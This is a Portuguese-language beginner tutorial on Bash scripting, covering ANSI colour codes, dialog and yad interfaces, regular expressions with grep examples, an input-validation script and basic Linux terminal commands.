Cor no script

Linux cor colorindo shell script cores

Você pode deixar seu script BASH mais bonito, colorindo sua saída. Use seqüências de escape ANSI para definir propriedades de texto como cores de primeiro plano e plano de fundo. Colorizing Shell – Use o seguinte modelo para escrever texto colorido:

echo -e “\e[CORmAmostra Texto\e[0m”

Exitem cores de texto, formato de texto e cores de fundo para serem usadas no Bash. As cores de texto tem uma numeração diferente das cores de fundo. A cor do texto, formato e fundo podem ser combinados e usados todos juntos.

Executo no terminal:

echo -e “\e[1;31;43m*** Texto negrito, vermelho, fundo amarelo ***\e[0m”

As cores de texto por exemplo, podem ser:

preto=30, vermelho=31, verde=32, amarelo=33, azul=34, púrpura=35, cyan=36, branco=37.

As cores de fundo mais usadas, comaçam a partir do número 40. Exemplos:

preto=40, vermelho=41, verde=42, amarelo=43, azul=44, púrpura=45, cyan=46, branco=47.

Então de 30 a 37 cores de texto. De 40 a 47 cores de fundo.

O texto em si pode ser normal=0, negrito/bold=1, sublinhado=4.

Por exemplo, fundo amarelo com texto vermelho é bem visível. Fundo branco com verde BOLD também.

Entendendo melhor…

—————————————-
Opção | Descrição
—————————————-
-e | Permite escapar \
—————————————-
\e[ | inicio da modificação de cor
—————————————-
CORm | cód cor+m no fim
—————————————-
\e[0m | fim modificação de cor
—————————————-

Exemplos:

1) TEXTO EM VERMELHO

echo -e “\e[31mTexto vermelho\e[0m”

echo -e “\e[31m Texto vermelho \e[0m”

echo -e “\e[31m*** Texto vermelho ***\e[0m”

2) TEXTO COM FUNDO VERDE

echo -e “\e[42mFundo verde\e[0m”

echo -e “\e[42m Fundo verde \e[0m”

echo -e “\e[42m*** Fundo verde ***\e[0m”

OBS: fundos – vermelho (41), preto (40), azul (44), cyan (46),

3) TEXTO EM VERDE

echo -e “\e[32mTexto verde\e[0m”

echo -e “\e[32m Texto verde \e[0m”

echo -e “\e[32m*** Texto verde ***\e[0m”

4) TEXTO AZUL

echo -e “\e[34mTexto azul\e[0m”

echo -e “\e[34m Texto azul \e[0m”

echo -e “\e[34m*** Texto azul ***\e[0m”

5) TEXTO CYAN

echo -e “\e[36mTexto cyan\e[0m”

echo -e “\e[36m Texto cyan \e[0m”

echo -e “\e[36m*** Texto cyan ***\e[0m”

A sequência de escape também permite controlar a maneira como os caracteres são exibidos na tela:

Exemplos:

echo -e “\e[1mTexto bold\e[0m”

echo -e “\e[1;36mTexto bold CYAN\e[0m”

echo -e “\e[4mTexto sublinhado\e[0m”

echo -e “\e[4;32mTexto sublinhado VERDE\e[0m”

echo -e “\e[1;4;32mTexto sublinhado BOLD VERDE\e[0m”

echo -e “\e[5mTexto piscando\e[0m”

echo -e “\e[1;4;5mTexto piscando sublinhado bold\e[0m”

echo -e “\e[1;4;31;5mTexto piscando sublinhado bold vermelho\e[0m”

echo -e “\e[5m*** Texto piscando ***\e[0m”

echo -e “\e[5m*** Fatal Error! ***\e[0m”

echo -e “\e[7m*** Video caracteres reverso ***\e[0m”

Ao combinar todas essas seqüências de escape, podemos obter um efeito mais sofisticado.

echo -e “\e[COLOR1;COLOR2mTexto exemplo\e[0m”

Podemos combinar o código de primeiro plano e o código de fundo.

código de primeiro plano código de fundo

Dark Gray 1;30 1;40
Light Red 1;31 1;41
Light Green 1;32 1;42
Yellow 1;33 1;43
Light Blue 1;34 1;44
Light Purple 1;35 1;45
Light Cyan 1;36 1;46
White 1;37 1;47

Exemplos:

echo -e “\e[1;34mTexto azul claro\e[0m”

echo -e “\e[1;33;4;44mFundo azul amarelo sublinhado\e[0m”

Podemos colocar tudo isto facilmente em um shell script só para testar:

#!/usr/bin/env bash

# titulo: testando_cores_do_bash.sh
# autor: claytu_dinamiti_1000
# Data: 2020

clear
echo
echo -e “\e[1;36m \n# —> Testando as cores do Bash no Linux! Fundo verde <-\n\e[0m”
sleep 2
echo -e “\e[1;42m*** Fundo VERDE BOLD! ***\n\e[0m”
sleep 2
echo -e “\e[34mTexto azul\n\e[0m”
sleep 3
echo -e “\e[34m Texto azul\n \e[0m”
sleep 2
echo -e “\e[34m*** Texto azul ***\n\e[0m”
sleep 3
echo -e “\e[36mTexto cyan\n\e[0m”
sleep 2
echo -e “\e[36m Texto cyan\n \e[0m”
sleep 3
echo -e “\e[36m*** Texto cyan ***\n\e[0m”
sleep 2
echo -e “\e[1mTexto BOLD\n\e[0m”
sleep 3
echo -e “\e[1;36mTexto BOLD CYAN\n\e[0m”
sleep 2
echo -e “\e[4mTexto sublinhado\n\e[0m”
sleep 3
echo -e “\e[4;32mTexto sublinhado VERDE\n\e[0m”
sleep 2
echo -e “\e[1;4;32mTexto sublinhado VERDE BOLD\n\e[0m”
sleep 3
echo -e “\e[5mTexto piscando\n\e[0m”
sleep 2
echo -e “\e[1;4;5mTexto piscando sublinhado BOLD\n\e[0m”
sleep 3
echo -e “\e[1;4;31;5mTexto piscando sublinhado BOLD vermelho\n\e[0m”
sleep 2
echo -e “\e[5m*** Texto piscando ***\n\e[0m”
sleep 3
echo -e “\e[1;31;5m*** Fatal Error! ***\n\e[0m”
sleep 2
echo -e “\e[1;36;5m*** Brincadeirinha! Just kidding! Kkk… ***\n\e[0m”
sleep 3
echo -e “\e[7m*** Video caracteres reverso ***\n\e[0m”
sleep 2
echo -e “\e[7m*** Linux Life! ***\n\e[0m”
sleep 2
echo -e “\e[1;36;5m\n*** FEITO! SAINDO EM 5 SEGUNDOS! ***\n\e[0m”
sleep 5
clear
exit 0

GNU/Linux Shell Script – Expressões Regulares e Programas Gráficos

APRENDENDO SHELL SCRIPT - CRIAR PROGRAMAS GRÁFICOS E INTERATIVOS COM SHELL SCRIPT

.

Podemos criar programas interativos pelo terminal e programas gráficos.

Tem muitas ferramentas de comandos.

Algumas já vem pré-instaladas nas Distros Linux.

Vamos tentar entender duas. Dialog e Yad.

.

Primeiro o Dialog mas saiba que o Yad - Para programas gráficos é a evolução do Zenity. Tem mais opções. O autor do Yad é o ucraniano Victor Ananjevsky.

.

Dialog - Para programas cli (modo texto = cli) mas que cria uma interatividade com o usuário. Dialog cria widgets, menus, avisos, barras de progresso, entre outras coisas que colocamos em Shell Script e aparecem no terminal ao executar o script. Pode as vezes, usar o mouse para clicar nas janelas do Dialog. Existem várias caixas de Dialog que podemos usar. Essas caixas são utilizadas para compor interfaces amigáveis com o usuário, para que ele responda perguntas ou escolha opções.

.

Agora sabemos que o Dialog é um executável e recebe todos os parâmetros via linha de comando, então ele geralmente é usado dentro de um Shell Script. Serve para fazer programas interativos, que o usuário precisa operar durante sua execução. Tarefas comuns feitas com o Dialog são escolher uma opção em um menu, escolher um arquivo, uma data, e digitar frases ou senhas.

.

Instale o Dialog pela central de programas da sua Distro, ou usando o gerenciador de pacotes da sua Distribuição. Verifique se tem o Yad instalado também.

.

OBS:

O kdialog é bem interessante também.

.

Para criar uma tela simples execute os comandos abaixo no terminal:

dialog --msgbox 'É a tua primeira tela' 5 40

dialog --msgbox 'Vamos usar Dialog?' 5 25

.

OBS:

dialog (É o comando.)

--msgbox (É o tipo de diálogo/widget.)

'Vamos usar Dialog?' (É a mensagem.)

5 = Altura (Linhas)

25 = Largura (Colunas)

.

Digite o texto abaixo no terminal e eperte a tecla Enter:

dialog --msgbox 'Shell Script Primeiro Programa com Dialog' 5 50

.

Instale o kdialog. Digite o texto abaixo no terminal e eperte a tecla Enter:

kdialog --msgbox 'Shell Script Primeiro Programa com Kdialog' 5 50

.

Aperte: Enter

Digite: clear

.

Então o comando dialog utiliza parâmetros de linha de comando para determinar que tipo de widget de janela deve ser criada.

Um widget é um tipo de elemento de janela.

.

ABAIXO ALGUNS DOS TIPOS DE WIDGETS SUPORTADOS PELO DIALOG:

.

gauge (Mostra uma barra de progresso)

calendar (Vê um calendário e escolhe uma data)

checklist (Vê uma lista de opções e escolhe várias)

infobox (Mostra uma mensagem sem esperar por uma resposta)

inputmenu (Fornece um menu editável)

menu (Mostra uma lista de seleções para escolha)

msgbox (Mostra uma mensagem e pede que o usuário pressione um botão OK)

infobox (Vê uma mensagem sem botões)

passwordbox (Mostra uma caixa de texto simples que esconde o texto digitado)

radiolist (Fornece um grupo de itens de menu onde apenas um item pode ser selecionado)

tailbox (Mostra o texto de um arquivo em uma janela com rolagem usando o comando tail)

textbox (Mostra o conteúdo de um arquivo em uma janela com rolagem)

timebox (Fornece uma janela para selecionarmos uma hora, minuto e segundo)

yesno (Fornece uma mensagem simples com botões Yes e No.)

.

Para especificarmos um widget na linha de comandos, usamos a sintaxe:

dialog --widget parâmetros

.

YAD - CRIAR PROGRAMAS GRÁFICOS E INTERATIVOS COM SHELL SCRIPT

.

Yad - Para programas gráficos. Evolução de um programa chamado Zenity. Tem mais opções. O autor do Yad é o ucraniano Victor Ananjevsky. Instale o Yad. Após instalar, pode testar com o comando abaixo:

yad

.

A SINTAXE BÁSICA É:

yad [--tipo-dialogo] [--options]

.

TIPOS DE DIÁLOGO:

.

--calendar (calendário)

--color (paleta de cores)

--entry (entrada de dados)

--icons (mostra uma caixa com ícones de atalho para aplicações)

--file (diálogo para selecionar arquivos)

--font (diálogo para seleção de fontes)

--form (formulários)

--list (diálogo com ítens em lista)

--notification (mostra um ícone da barra de notificação do sistema)

--progress (diálogo de progresso)

--text-info (mostra o conteúdo de um arquivo texto)

--scale (diálogo para seleção de valor, usando uma escala)

.

Para cada um dos exemplos podemos colocar o script e depois algumas imagens da sua execução.

--calendar:

Mostra um calendário permitindo selecionar a data e envia o valor para a saída padrão

.

EXEMPLO:

.

#!/bin/bash

# usando o yad com --calendar
# mostra um calendário iniciando no dia 20/03/2018
# guarda o valor selecionar na variável $DATA

DATA=$(\
yad --calendar \
--day=20 \
--month=3 \
--year=2018 \
--date-format=%d\/%m\/%Y \
--title=Calendario \
--center \ # disposição do diálogo na tela
)

# mostra um diálogo informando a $DATA selecionada
yad --title="AVISO" \ --text="Você selecionou a data $DATA"
#.EOF

# Fim do 09c-yad-script.sh

.

Salve com o nome de "09c-yad-script.sh", dê permissão de execução:

chmod a+x 09c-yad-script.sh

.

Execute:

sh 09c-yad-script.sh

.

EXEMPLO COM YAD --COLOR

yad --color:

Diálogo de seleção de cores, permite selecionar uma determinada cor usando a paleta de cores, editando diretamente por código, etc. Bom para saber o código de uma cor específica.

.

EXEMPLO A SER EXECUTADO:

!/bin/bash

# uso do yad - com color
# permite selecionar determinada cor numa paleta de cores
# e envia o valor para a saída padrão, no caso armazenei na variável $COR

COR=$(\
yad --color \
--init-color="#FFFFFF" \ #cor que inicialmente fica selecionada na paleta de cores.
--palette \
)

yad --title="YAD COM COLOR" \
--text="Você selecionou a cor $COR"
#.EOF

# Fim do 4j-script-color.sh

.

Salve com o nome de "4j-script-color.sh", dê permissão de execução:

chmod a+x 4j-script-color.sh

.

Execute:

bash 4j-script-color.sh

-----------------------

SITE PARA APRENDER COMANDOS:

http://explainshell.com/

-----------------------

Aprendendo Shell Script

GNU/Linux ShellScript - Expressões Regulares (leio, releio e leio de novo)

-----------------------

Linux Shell Script, entendendo Expressões Regulares

-----------------------

Para trabalhar com as expressões regulares, usarei os meta-caracteres, ou seja, caracteres que representam um conjunto de outros caracteres ou que estipulem certas regras para a busca. E para que tudo fique mais poderoso, saiba que é possível combinar texto comum com meta-caracteres. Portanto, vamos ver o que faz cada um deles e, em seguida, como usá-los na prática.

-----------------------

Metacaracteres

^ (circunflexo): representa o começo da linha

$ (cifrão): representa o fim da linha

. (ponto): casa com um caractere qualquer

.* (curinga): casa qualquer coisa, é tudo ou nada

a+ (mais): casa a letra "a" uma ou mais vezes

a* (asterisco): casa a letra "a" zero ou mais vezes

a? (opcional): casa a letra "a" zero ou mais vezes

a{2} (chaves): casa a letra "a" duas vezes

a{2,} (chaves): casa a letra "a" no mínimo duas vezes

[abc] (lista): casa as letras "a" ou "b" ou "c"

[^abc] (lista): casa qualquer caractere, exceto "a", "b", e "c"

(isso|aquilo) (Ou): casa as strings "isso" ou "aquilo"

-----------------------

Compreendendo cada um destes metacaracteres acima, pode juntar eles. Os "metacaracteres" juntos formarão uma "Expressão Regular" que vai resolver algum problema que apareça pelo caminho. E assim, é que pegamos os metacaracteres transformamos em expressões regulares e colocamos em shell scripts e quem tá de fora quando vê aquela coisa estupenda, tem a certeza de que aquilo pode até fazer alguma coisa, porém é absolutamente uma completa loucura (o que não é verdade). Dá uma olhada nesta serpente abaixo e me diga o que pensa/sente:

egrep "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" arquivo.txt

-----------------------

A expressão regular acima, é para casar qualquer e-mail dentro de um arquivo.

-----------------------

Leia o texto abaixo que explica mais um pouco sobre meta caracteres:

-----------------------

. (Qualquer letra)

^ (início da linha)

$ (final da linha)

[xyz] (Qualquer das letras dentro dos colchetes)

[^xyz] (Qualquer letra fora as dentro dos colchetes)

[t-z] (Qualquer das letras entre t e z)

z* (Letra z zero ou mais vezes)

z+ (Letra z uma ou mais vezes)

?{0,1} (Pode aparecer ou não (opcional)

*{0,} (Pode aparecer em qualquer quantidade)

+{1,} (Deve aparecer no mínimo uma vez)

a{2} (Casa a letra 'a' duas vezes)

a{2,4} (Casa a letra 'a' de duas a quatro vezes)

a{2,} (Casa a letra 'a' no mínimo duas vezes)

.* (Casa qualquer coisa, é o tudo e o nada)

^ (início da linha)

$ (final da linha)

[abc] (casa com os caracteres a, b e c)

[a-c] (casa com os caracteres a, b e c)

[^abd] (não casa com os caracteres a, b e d)

(um|dois) (casa com as palavras um e dois)

-----------------------

Repetições

a{2} (casa com a letra “a” duas vezes)

a{2,5} (casa com a letra “a” duas a cinco vezes)

a{2,} (casa com a letra “a” duas vezes ou mais)

a? (casa com “a” letra a zero vezes ou uma)

a* (casa com a letra “a” zeros vezes ou mais)

a+ (casa com a letra “a” uma vez ou mais)

-----------------------

Curingas

. (casa com qualquer caracter uma vez)

.* (casa com qualquer caracter várias vezes)

(esse|aquele) (casa as palavras 'esse' ou 'aquele')

-----------------------

Exemplos

1) Procura a palavra "seu-usuario-whoami" no arquivo /etc/passwd

grep seu-usuario-whoami /etc/passwd

2) Procura todas as linhas começadas pela letra u no arquivo /etc/passwd:

grep '^u' /etc/passwd

3) Procura todas as linhas terminadas pela palavra false no arquivo /etc/passwd:

grep 'false$' /etc/passwd

4) Procura todas as linhas começadas pelas vogais no arquivo /etc/passwd:

grep '^[aeiou]' /etc/passwd

5) Procura todas as linhas começadas por qualquer caracter e segundo caracter seja qualquer vogal no arquivo /etc/passwd:

grep '^.[aeiou]' /etc/passwd

6) Procura todas as linhas que contenham uma sequência de 4 números consecutivos:

grep '[0-9][0-9][0-9][0-9]' /etc/passwd

7) Comando para encontrar linhas em branco:

grep '^$' /etc/passwd

8) Encontrar e contar linhas em branco:

grep '^$' /etc/passwd | wc -l

9) Encontrar mesmo nome, porém com letra inicial minúscula e maiúscula:

grep '[Uu]ser' /etc/passwd

10) Encontrar 27 sequência^de 27 caracteres:

egrep '^.{27}$' passwd

-----------------------

(Acima foi usado o egrep e não o grep. Porque as chaves fazem parte de um conjunto avançado de Expressões Regulares (“extended”), então o egrep lida melhor com elas. Se fosse para usar o grep normal, teria que “escapar” as chaves.)

-----------------------

grep '^.\{27\}$' /etc/passwd

11) Para procurar por linhas que tenham de 20 a 40 caracteres:

egrep '^.{20,40}$' /etc/passwd

12) Para obter as linhas que possuem 40 caracteres ou mais:

egrep '^.{40,}$' /etc/passwd

13) Econtrar números com 3 dígitos (de 0 a 9) ou mais:

egrep '[0123456789]{3,}' /etc/passwd

14) Econtrar linhas que começam com ‘vogal minúscula’ e terminam com a palavra ‘bash’, usa−se o curinga “.*” para significar “qualquer coisa”(não confunda com “qualquer caracterer” somente “.”):

egrep '^[aeiou].*bash$' /etc/passwd

-----------------------

Script com validações de Tel,E-mail,CEP,IP,Data…

#!/bin/bash

# Script com validações de Tel,E-mail,CEP,IP,Data...

####################### VALIDAR TELEFONE no formato: (99)9999-9999 #####

echo 'Informe o número de Telefone.Formato: (99)9999-9999';
read TELEFONE
echo $TELEFONE | egrep '^[(][0-9]{2}[)][0-9]{4}+-[0-9]{4}$' && echo -e '\033[01;32m Número válido! \033[0m' || echo -e '\033[01;31m NÃO é válido esse número.\033[0m'

######################### VALIDAR IP ###############

echo 'Informe o número de IP';
read IP
echo $IP | egrep '^[0-9]{1,3}[.]{1}[0-9]{1,3}[.]{1}[0-9]{1,3}[.]{1}[0-9]{1,3}$' && echo -e '\033[01;32m IP válido! \033[0m' || echo -e '\033[01;31m NÃO é válido esse IP.\033[0m'

######################### VALIDAR CEP ###############

echo 'Informe o CEP';
read CEP
echo $CEP | egrep '^[0-9]{5}[-][0-9]{3}$' && echo -e '\033[01;32m Número válido! \033[0m' || echo -e '\033[01;31m NÃO é válido esse número.\033[0m'

######################### VALIDAR DATA formato dd/mm/aaaa ###############

echo 'Informe a Data.Formato dd/mm/aaaa';
read DATA
echo $DATA | egrep '^[0-3]{1}[0-9]{1}[/][0-1]{1}[0-9]{1}[/][0-9]{4}$' && echo -e '\033[01;32m Data válida! \033[0m' || echo -e '\033[01;31m NÃO é válida essa Data.\033[0m'

######################### VALIDAR E-MAIL ###############

echo 'Informe o E-mail';
read EMAIL
echo $EMAIL | egrep '^([a-zA-Z0-9_-.])+@[0-9a-zA-Z.-]+\.[a-z]{2,3}$' && echo -e '\033[01;32m E-mail válido! \033[0m' || echo -e '\033[01;31m NÃO é válido esse E-mail.\033[0m'

# Fonte: http://terminalroot.com.br/2015/01/shell-script-validandotele.html

######################### FIM ###############

Até Breve

.

🙂

.

Regras do código limpo Shell Script

Acho que talvez o cabeçalho para o shell script ficar mais claro é assim:

.

#!/bin/bash

######################################################
# Nome do Script:
#
# Descrição:
#
#
#
#
# Autor:
#
# Email:
#
#
#####################################################
# Sobre este script:
#
#
#
# Exemplo:
#
#
#
# Histórico de modificações:
#
#
#
# Comentário:
#
#
#
# Regras do código limpo:
#
# 1) Colocar apenas um comando por linha
#
# 2) Alinhar verticalmente comandos de um mesmo bloco
#
# 3) Deslocar o alinhamento a direita a cada novo bloco
#
# 4) Usar linhas em branco para separar trechos
#
# 5) Não ultrapassar o limite de 80 colunas por linha
#
#
# Comentários especiais:
#
#
# TODO - indica uma tarefa a ser feita
#
#
# FIXME - indica um bug conhecido que precisa ser arrumado
#
#
# XXX - Notícia, chama a atenção
#
#
#####################################################

kdialog \
--title "Bem vindo(a)!!" \
--msgbox "Aprendendo Shell Script" \
10 40

kdialog \
--title "Listar diretórios?" \
--yesno "Para listar diretórios e arquivos: ls -R" \

echo

ls -R

echo

# Fim do script

Aprenda a usar o terminal do Linux, aprenda comandos do Linux e aprenda a criar shell scripts

2018

.

Para algumas pessoas o GNU/Linux não tem como objetivo lucro. Para estes, o objetivo do Linux é garantir a tua liberdade. Trabalho colaborativo produz ótimos softwares disponíveis a todos em toda parte.

.

ARTIGO: Aprenda a usar o terminal do Linux, aprenda comandos do Linux e aprenda a criar shell scripts

.

Este artigo é para iniciantes. Pretende oferecer o máximo de informação possível em pouco tempo, para que a pessoa ao terminar de EXECUTAR este artigo, entenda bastante coisa sobre Linux, use o terminal fluentemente e saiba escrever e executar Shell Scripts. Escrevi este artigo para meu uso pessoal. Tudo que tem neste artigo executei por minha conta e risco sem problemas. Recomendo que faça o mesmo. Se alguém houvesse me oferecido este artigo quando eu era iniciante tudo teria sido mais fácil.

.

VAMOS LÁ!

.

APRENDENDO SHELL SCRIPT

.

Fluxos de Entrada/Saida Padrão e Operadores de Fluxo

.

Os fluxos padrão são canais de entrada/saída (E/S) entre um programa de computador e o seu ambiente (tipicamente um terminal de texto) que são pré conectados no início da execução.

.

A entrada padrão Stdin do Linux é o teclado. A gente se comunica com o sistema operacional e programas usando o teclado. Claro que podemos usar tela sensível ao toque, mouse, joystick, touchpad, etc...

Stdin = Standart Input

É representada pelo número 0.

.

Abra seu terminal pelo menu do sistema. Copie e cole no seu terminal:

ls /dev/stdin

.

A saída padrão Stdout do Linux é o monitor. Quase sempre as informações mais importantes são obtidas pelo terminal do sistema operacional. A gente recebe informação do sistema operacional e programas pelo monitor.

Stdin = Standart Output

É representada pelo número 1.

.

Copie e cole no seu terminal:

ls /dev/stdout

.

A saída de erro padrão Stderr do Linux é o monitor. Por ele são enviadas mensagens de erro geradas por aplicativos. A gente recebe informação de erro do sistema operacional e programas pelo monitor. Estas informações são muito úteis para podermos corrigir problemas. Quase sempre as informações de erro mais importantes são obtidas pelo terminal do sistema operacional.

Stderr = Standart Error

É representada pelo número 2.

.

Copie e cole no seu terminal:

ls /dev/stderr

.

Os 3 são usados por redirecionadores. Você redirecionar a saída deles para um arquivo de texto por exemplo. Podemos redirecionar a saída de um comando para um arquivo em determinado diretório. Então lembre que:

Stdin=0

Stout=1

Stderr=2

.

Podemos manipular as saídas e entradas com 3 operadores.

O Pipe (|) Liga a saída de um programa a entrada de outro.

O Write (>) Redireciona para arquivo de texto por exemplo sobrescrevendo.

O Append (>>) Redireciona para arquivo de texto por exemplo, sem apagar o que já estiver escrito.

.

OS PROMPTS PADRÃO DO LINUX SÃO:

.

Para root:

- # -

Para os outros usuários:

- $ -

.

SISTEMA DE PERMISSÃO DE ARQUIVOS

.

Todo arquivo possui uma dada permissão para cada usuário.

Leitura (r), escrita (w) e execução (x)

.

TUDO É ARQUIVO:

Pasta é arquivo.
Dispositivo é arquivo.
Usuário é arquivo.

.

Temos arquivos de texto, arquivos de áudio, arquivos de vídeo, arquivos de imagem, etc.

.

O SHELL SCRIPT É O MAIS ALTO NÍVEL QUE UM SISTEMA LINUX COMUM POSSUI.

.

O Shell padrão do Linux é o Bash. Quando o usuário digita comandos no terminal eles são interpretados pelo Bash.

.

Se o usuário escreve um arquivo de texto com comandos da maneira correta este arquivo de texto se torna um shell script.

.

O shell script é bastante usado pelas pessoas para a automação de tarefas. É muito perigoso executar Shell Scripts como root, isto pode
danificar o sistema.

.

O MELHOR TERMINAL PARA USAR É O QUE JÁ VEM INSTALADO NO TEU SISTEMA. MAS EXISTEM OUTROS TERMINAIS QUE PODE USAR. TEM O TILIX, TEM O TERMINATOR POR EXEMPLO.

.

USAR O TERMINAL CHAMADO TERMINATOR

.

Tem um terminal legal para estudar comandos e shell script Linux chamado TERMINATOR.

Ele pode ser dividido horizontalmente (Ctrl+Shift+O) e verticalmente (Ctrl+Shift+E).

Pode redimensionar as divisões do terminator com (Ctrl+Shift+seta).

Para mover de uma janela de terminal para outra (Ctrl+Shift+N) (Ctrl+Tab).

Para fechar o terminal (Ctrl+Shift+W).

Procuro o TERMINATOR pelo software center da minha distro. Instalo. Abro ele pelo menu do sistema.

Com o TERMINATOR posso ler este artigo em uma subdivisão do terminal e usar outras para executar as instruções do artigo por exemplo.

Isto porque é só copiar este texto para um editor de texto salvar como estudo-linux.txt e abrir ele no terminal.

.

TERMINATOR EXEMPLO DE USO

.

APERTO AS TECLAS:

Ctrl+Shift+O

Ctrl+Shift+E

Ctrl+Shift+N

Ctrl+Shift+Seta para esquerda/direita/cima/baixo

Ctrl+Shift+W

.

Após escrever comandos no meu terminal, eles são examinados pelo Shell, que no meu caso é o Bash. Após o exame do Shell, os comandos informados são passados para o Linux, que executa o comando ou exibe uma mensagem de erro que ajuda quando for executar o comando correto.

.

COMANDOS DO LINUX TEM QUASE SEMPRE A SEGUINTE FORMA:

comando [- opções] [argumentos]

comando [- opções] [parâmetros]

.

Exemplo:

.

Digite no terminal: whoami

Aperte a tecla Enter.

Digite no terminal: cd

Aperte a tecla Enter.

.

Use o exemplo abaixo para digitar no terminal:

ls -tli /home/seu_user_whoami/Downloads/

.

No exemplo acima;

ls (É o comando.)

-tli (É a opção.)

/home/seu_user_whoami/Downloads/ (É o parâmetro/argumento.)

.

Executo os exemplos abaixo para entender como obter ajuda:

man --help

man grep

apropos mkdir

whatis bash

whereis sh

.

QUERO SABER A VERSÃO DA DISTRIBUIÇÃO ENTÃO DIGITO:

.

lsb_release -a

.

cat /etc/issue

.

ME INFORMO SOBRE O KERNEL E ARQUITETURA DA MÁQUINA (faço sempre que posso pra eu não esquecer):

.

uname -a

.

uname -r

.

arch

.

EU QUERO APRENDER ATALHOS DE TERMINAL DO GNU/LINUX ENTÃO EU LEIO O TEXTO ABAIXO:

.

Atalho Função

Ctrl + a Move o cursor para o início da linha
----------------------------------------------------
Ctrl + e Move o cursor para o final da linha
----------------------------------------------------
Ctrl + l Limpa a tela, semelhante ao comando clear
----------------------------------------------------
Ctrl + u Apaga do cursor ao início da linha.
----------------------------------------------------
Ctrl + k Apaga do cursor ao final da linha.
----------------------------------------------------
Ctrl + w Apaga uma palavra antes do cursor.
----------------------------------------------------
Ctrl + Shift + _ Desfaz as últimas mudanças.
----------------------------------------------------
!! Executa o último comando no histórico.
----------------------------------------------------
!abc Executa o último comando no histórico começando com abc.
----------------------------------------------------
!n Executa o comando de número n no histórico.
----------------------------------------------------

.

PARA APRENDER O QUE LI ACIMA, EXECUTO O ENSINAMENTO ABAIXO:

.

Abro o terminal pelo menu do sistema.

.

Colo o texto abaixo no terminal, mas poderia ser qualquer frase:

.

Frase: "Ctrl + Apaga do cursor ao início da linha."

.

Agora aperto duas teclas, as teclas:

Ctrl + A

.

Aperto a seta do teclado para a direita quatro vezes. Então aperto as teclas:

.

Ctrl + U

.

Aperto duas teclas, as teclas Ctrl + E

(Control e E)

.

Aperto a tecla seta para esquerda 7 vezes.

.

Aperto as teclas Ctrl + K

.

Aperto as teclas Ctrl + W

.

Aperto 3 teclas: Crtl + Shift + _

(Control, Shift e Underline.)

.

Aperto a tecla seta para cima algumas vezes.

.

Aperto a tecla seta para baixo algumas vezes.

.

Pronto. Já estou sabendo alguma coisa. Com isto, já aprendi bastante sobre atalhos de teclado para o terminal Linux.

.

O PIPE "|"

.

O pipe "|" é um operador que liga um comando a outro comando. Liga a saída de um comando a entrada de outro comando.

.

LER UM ARQUIVO DE TEXTO PELO TERMINAL DO LINUX

.

Copie e cole o código abaixo no seu terminal Linux:

echo -e '\nQuando a luz dos olhos meus\nE a luz dos olhos teus\nResolvem se encontrar\nAi que bom que isso é meu Deus\nQue frio que me dá o encontro desse olhar\nMas se a luz dos olhos teus\nResiste aos olhos meus só para me provocar\nMeu amor, juro por Deus me sinto incendiar\nMeu amor, juro por Deus\nQue a luz dos olhos meus já não pode esperar\nQuero a luz dos olhos meus\nNa luz dos olhos teus sem mais lará-lará\nPela luz dos olhos teus\nEu acho meu amor que são se pode achar\nQue a luz dos olhos meus precisa se casar.\n' > arq-poema.txt

.

Para ler o arq-poema.txt todo pelo terminal copie e cole os comandos abaixo em seu terminal Linux um de cada vez:

cat arq-poema.txt

cat -n arq-poema.txt

.

Para ler as três primeiras linhas do poema:

cat arq-poema.txt | head -n 3

cat -n arq-poema.txt | head -n 3

.

Para ler as três ultimas linhas do poema:

cat arq-poema.txt | tail -n 3

cat -n arq-poema.txt | tail -n 3

.

Será que nas quatro primeiras linhas existe a palavra olhos? Vamos ver. Copie e cole o comando abaixo no terminal:

cat arq-poema.txt | head -n 4 | grep olhos

cat -n arq-poema.txt | head -n 4 | grep olhos

.

Quais das 7 primeiras linhas que NÃO POSSUEM a palavra olhos?

cat arq-poema.txt | head -n 7 | grep -v olhos

cat -n arq-poema.txt | head -n 7 | grep -v olhos

.

Para remover arq-poema.txt use o comando abaixo no mesmo terminal em que está executando os comandos até o momento:

rm -f arq-poema.txt

.

ACHOU INTERESSANTE ATÉ AGORA?

.

ENTÃO SIGAMOS EM FRENTE!

.

Para criar uma pasta pelo terminal use o comando mkdir. Ex:

mkdir pasta-teste

.

Para criar um arquivo use o direcionador >. Ex:

> arquivo-teste.txt

.

Para ver o dois arquivos criados digite:

ls -t

.

Para mover o arquivo-teste.txt para pasta-teste use o comando mv:

mv arquivo-teste.txt pasta-teste

.

Para navegar para a pasta-teste use o comando cd:

cd pasta-teste/

.

Para ver o que tem na pasta-teste use o comando ls -t:

ls -t

.

Para voltar uma pasta atrás use o comando cd ..:

cd ..

.

Confere:

ls -t

.

Para remover a pasta-teste use o comando rm -r:

rm -r pasta-teste

.

Confere se a pasta foi removida:

ls -t

.

EXECUTANDO MAIS COMANDOS ÚTEIS PELO TERMINAL

.

VERIFICO INFORMAÇÕES DA MINHA CPU:

cat /proc/cpuinfo

.

Me lembro que o terminal do Linux tem sensibilidade a letras maiúsculas e minúsculas. Um arquivo chamado Texto.txt é diferente de texto.txt

.

VERIFICO INFORMAÇÕES SOBRE A MEMÓRIA:

cat /proc/meminfo

.

Quero saber que dia é hoje para o terminal, digito:

date

.

Quero saber quando cairá certo dia em outro ano anterior ou posterior usando pipe "|" e "less":

~$ cal 2017 | less

~$ cal 2018 | less

~$ cal 2019 | less

.

Aperto a tecla Q para sair do calendário. O pipe "|" serve para unir um comando a outro. No GNU/Linux posso unir programas que trabalharão juntos.

.

Se quiser mandar o calendário para um arquivo de texto para depois imprimir este arquivo de texto em um folha de papel:

cal 2018 | less > calendario-de-2018.txt

.

EM QUAL DIA DA SEMANA CAIRÁ O DIA DAS CRIANÇAS?

date --date='12 Oct' +%a

.

QUE DIA FOI ONTEM?

date --date='1 day ago'

.

QUE DIA SERÁ AMANHÃ?

date --date='1 day'

.

A PARTIR DESTE DIA, DAQUI A UM ANO UM MÊS E UM DIA, QUE DIA SERÁ?

date --date='1 day 1 month 1 year'

.

QUE DIA FOI A UM ANO UM MÊS E UM DIA?

date --date='1 day 1 month 1 year ago'

.

PARA SABER INFORMAÇÃO SOBRE O SISTEMA E O HARDWARE:

.

Info CPU

cat /proc/cpuinfo

.

Info memória

cat /proc/meminfo

.

Detalhes da versão

cat /proc/version

.

Detalhes da partição

cat /proc/partitions

.

Detalhes dispositivos SCSI/Sata

cat /proc/scsi/scsi

.

Info dispositivos SATA

hdparam /dev/sda1

.

